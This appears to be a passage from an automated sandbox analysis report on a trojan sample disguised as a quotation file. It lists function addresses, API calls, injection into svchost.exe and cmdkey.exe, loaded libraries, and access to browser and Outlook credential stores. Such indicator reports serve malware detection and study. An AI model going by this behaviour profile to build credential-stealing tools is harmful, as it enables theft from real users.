Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384A760	3_2_0384A760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03842760	3_2_03842760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840680	3_2_03840680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FA6C0	3_2_038FA6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383C6E0	3_2_0383C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385C600	3_2_0385C600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03864670	3_2_03864670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0390A526	3_2_0390A526
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840445	3_2_03840445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B4BC0	3_2_038B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840B10	3_2_03840B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E2AC0	3_2_038E2AC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FCA13	3_2_038FCA13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FEA5B	3_2_038FEA5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383E9A0	3_2_0383E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FE9A6	3_2_038FE9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03856882	3_2_03856882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038DC89F	3_2_038DC89F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038428C0	3_2_038428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E810	3_2_0386E810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0835	3_2_038E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03826868	3_2_03826868
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FEFBF	3_2_038FEFBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03846FE0	3_2_03846FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384CF00	3_2_0384CF00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F0EAD	3_2_038F0EAD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03832EE8	3_2_03832EE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03882E48	3_2_03882E48
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03860E50	3_2_03860E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E0E6D	3_2_038E0E6D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03852DB0	3_2_03852DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383AD00	3_2_0383AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03840D69	3_2_03840D69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03858CDF	3_2_03858CDF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0390ACEB	3_2_0390ACEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03830C12	3_2_03830C12
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384AC20	3_2_0384AC20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BEC20	3_2_038BEC20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038EEC4C	3_2_038EEC4C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F6C69	3_2_038F6C69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FEC60	3_2_038FEC60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03831380	3_2_03831380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FF330	3_2_038FF330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382D2EC	3_2_0382D2EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F124C	3_2_038F124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038451C0	3_2_038451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385B1E0	3_2_0385B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382F113	3_2_0382F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038DD130	3_2_038DD130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0388717A	3_2_0388717A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0387508C	3_2_0387508C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384B0D0	3_2_0384B0D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F70F1	3_2_038F70F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B36EC	3_2_038B36EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FF6F6	3_2_038FF6F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038DD62C	3_2_038DD62C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E1623	3_2_038E1623
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038ED646	3_2_038ED646
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FF5C9	3_2_038FF5C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F75C6	3_2_038F75C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AD480	3_2_038AD480
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D5490	3_2_038D5490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D1B80	3_2_038D1B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0387DB19	3_2_0387DB19
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FFB2E	3_2_038FFB2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FFA89	3_2_038FFA89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385FAA0	3_2_0385FAA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038859C0	3_2_038859C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B98B2	3_2_038B98B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F18DA	3_2_038F18DA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F78F3	3_2_038F78F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03843800	3_2_03843800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03849870	3_2_03849870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385B870	3_2_0385B870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B5870	3_2_038B5870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FF872	3_2_038FF872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E3FA0	3_2_038E3FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F1FC6	3_2_038F1FC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BFF40	3_2_038BFF40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FFF63	3_2_038FFF63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03841EB2	3_2_03841EB2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F9ED2	3_2_038F9ED2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03849DD0	3_2_03849DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038DFDF4	3_2_038DFDF4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038FFD27	3_2_038FFD27
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F7D4C	3_2_038F7D4C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D9C98	3_2_038D9C98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038C7CE8	3_2_038C7CE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385FCE0	3_2_0385FCE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03843C60	3_2_03843C60
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0318E310	6_2_0318E310
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03142245	6_2_03142245
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0324010E	6_2_0324010E
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0322E076	6_2_0322E076
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031700A0	6_2_031700A0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03236757	6_2_03236757
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0318A760	6_2_0318A760
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03182760	6_2_03182760
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0319C600	6_2_0319C600
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031A4670	6_2_031A4670
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03180680	6_2_03180680
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323A6C0	6_2_0323A6C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0317C6E0	6_2_0317C6E0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0324A526	6_2_0324A526
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03180445	6_2_03180445
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03180B10	6_2_03180B10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031F4BC0	6_2_031F4BC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323CA13	6_2_0323CA13
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323EA5B	6_2_0323EA5B
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323E9A6	6_2_0323E9A6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0317E9A0	6_2_0317E9A0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031AE810	6_2_031AE810
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03220835	6_2_03220835
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03166868	6_2_03166868
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03196882	6_2_03196882
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0321C89F	6_2_0321C89F
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031828C0	6_2_031828C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0318CF00	6_2_0318CF00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323EFBF	6_2_0323EFBF
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03186FE0	6_2_03186FE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031A0E50	6_2_031A0E50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03220E6D	6_2_03220E6D
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031C2E48	6_2_031C2E48
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03230EAD	6_2_03230EAD
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03172EE8	6_2_03172EE8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0317AD00	6_2_0317AD00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03180D69	6_2_03180D69
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03192DB0	6_2_03192DB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03170C12	6_2_03170C12
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0318AC20	6_2_0318AC20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031FEC20	6_2_031FEC20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323EC60	6_2_0323EC60
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03236C69	6_2_03236C69
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0322EC4C	6_2_0322EC4C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03198CDF	6_2_03198CDF
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0324ACEB	6_2_0324ACEB
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03188CE0	6_2_03188CE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323F330	6_2_0323F330
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03171380	6_2_03171380
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323124C	6_2_0323124C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0316D2EC	6_2_0316D2EC
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0316F113	6_2_0316F113
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0321D130	6_2_0321D130
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031C717A	6_2_031C717A
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031851C0	6_2_031851C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0319B1E0	6_2_0319B1E0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031B508C	6_2_031B508C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0318B0D0	6_2_0318B0D0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_032370F1	6_2_032370F1
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0321D62C	6_2_0321D62C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0322D646	6_2_0322D646
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323F6F6	6_2_0323F6F6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031F36EC	6_2_031F36EC
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_032375C6	6_2_032375C6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323F5C9	6_2_0323F5C9
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031ED480	6_2_031ED480
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03215490	6_2_03215490
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031BDB19	6_2_031BDB19
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323FB2E	6_2_0323FB2E
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03211B80	6_2_03211B80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323FA89	6_2_0323FA89
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0319FAA0	6_2_0319FAA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031C59C0	6_2_031C59C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031499E8	6_2_031499E8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03183800	6_2_03183800
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323F872	6_2_0323F872
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03189870	6_2_03189870
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0319B870	6_2_0319B870
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031F5870	6_2_031F5870
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031858B0	6_2_031858B0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031F98B2	6_2_031F98B2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_032378F3	6_2_032378F3
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_032318DA	6_2_032318DA
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323FF63	6_2_0323FF63
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031FFF40	6_2_031FFF40
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03231FC6	6_2_03231FC6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03181EB2	6_2_03181EB2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03239ED2	6_2_03239ED2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0323FD27	6_2_0323FD27
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03237D4C	6_2_03237D4C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03189DD0	6_2_03189DD0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0321FDF4	6_2_0321FDF4
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03183C60	6_2_03183C60
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03219C98	6_2_03219C98
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03207CE8	6_2_03207CE8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0319FCE0	6_2_0319FCE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0303EF38	6_2_0303EF38
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0303E373	6_2_0303E373
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0303E255	6_2_0303E255
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0303E714	6_2_0303E714
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0303D7D8	6_2_0303D7D8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0303CA88	6_2_0303CA88

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 038BEF10 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03887BE4 appears 102 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0382B910 appears 278 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 038AE692 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03875050 appears 58 times
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: String function: 000C9CB3 appears 31 times
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: String function: 000E0A30 appears 46 times
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: String function: 000DF9F2 appears 40 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 031B5050 appears 58 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 0316B910 appears 275 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 031EE692 appears 86 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 031C7BE4 appears 101 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 031FEF10 appears 105 times

Source: QUOTATION#050125.exe, 00000002.00000003.288634641779.0000000003AB3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs QUOTATION#050125.exe
Source: QUOTATION#050125.exe, 00000002.00000003.288635000975.0000000003E1D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs QUOTATION#050125.exe

Source: QUOTATION#050125.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@17/11

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_001337B5 GetLastError,FormatMessageW,

2_2_001337B5

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_001210BF AdjustTokenPrivileges,CloseHandle,		2_2_001210BF
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_001216C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		2_2_001216C3

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_001351CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

2_2_001351CD

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_0014A67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

2_2_0014A67C

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_0013648E CoInitialize,CoCreateInstance,CoUninitialize,

2_2_0013648E

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_000C42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

2_2_000C42A2

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

File created: C:\Users\user\AppData\Local\Temp\supergroups

Source: QUOTATION#050125.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: QUOTATION#050125.exe

ReversingLabs: Detection: 63%

Source: unknown	Process created: C:\Users\user\Desktop\QUOTATION#050125.exe "C:\Users\user\Desktop\QUOTATION#050125.exe"
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\QUOTATION#050125.exe"
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"
Source: C:\Windows\SysWOW64\cmdkey.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\QUOTATION#050125.exe"	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\cmdkey.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: C:\Windows\SysWOW64\cmdkey.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: QUOTATION#050125.exe

Static file information: File size 1755136 > 1048576

Source: QUOTATION#050125.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: QUOTATION#050125.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: QUOTATION#050125.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: QUOTATION#050125.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: QUOTATION#050125.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: QUOTATION#050125.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: QUOTATION#050125.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

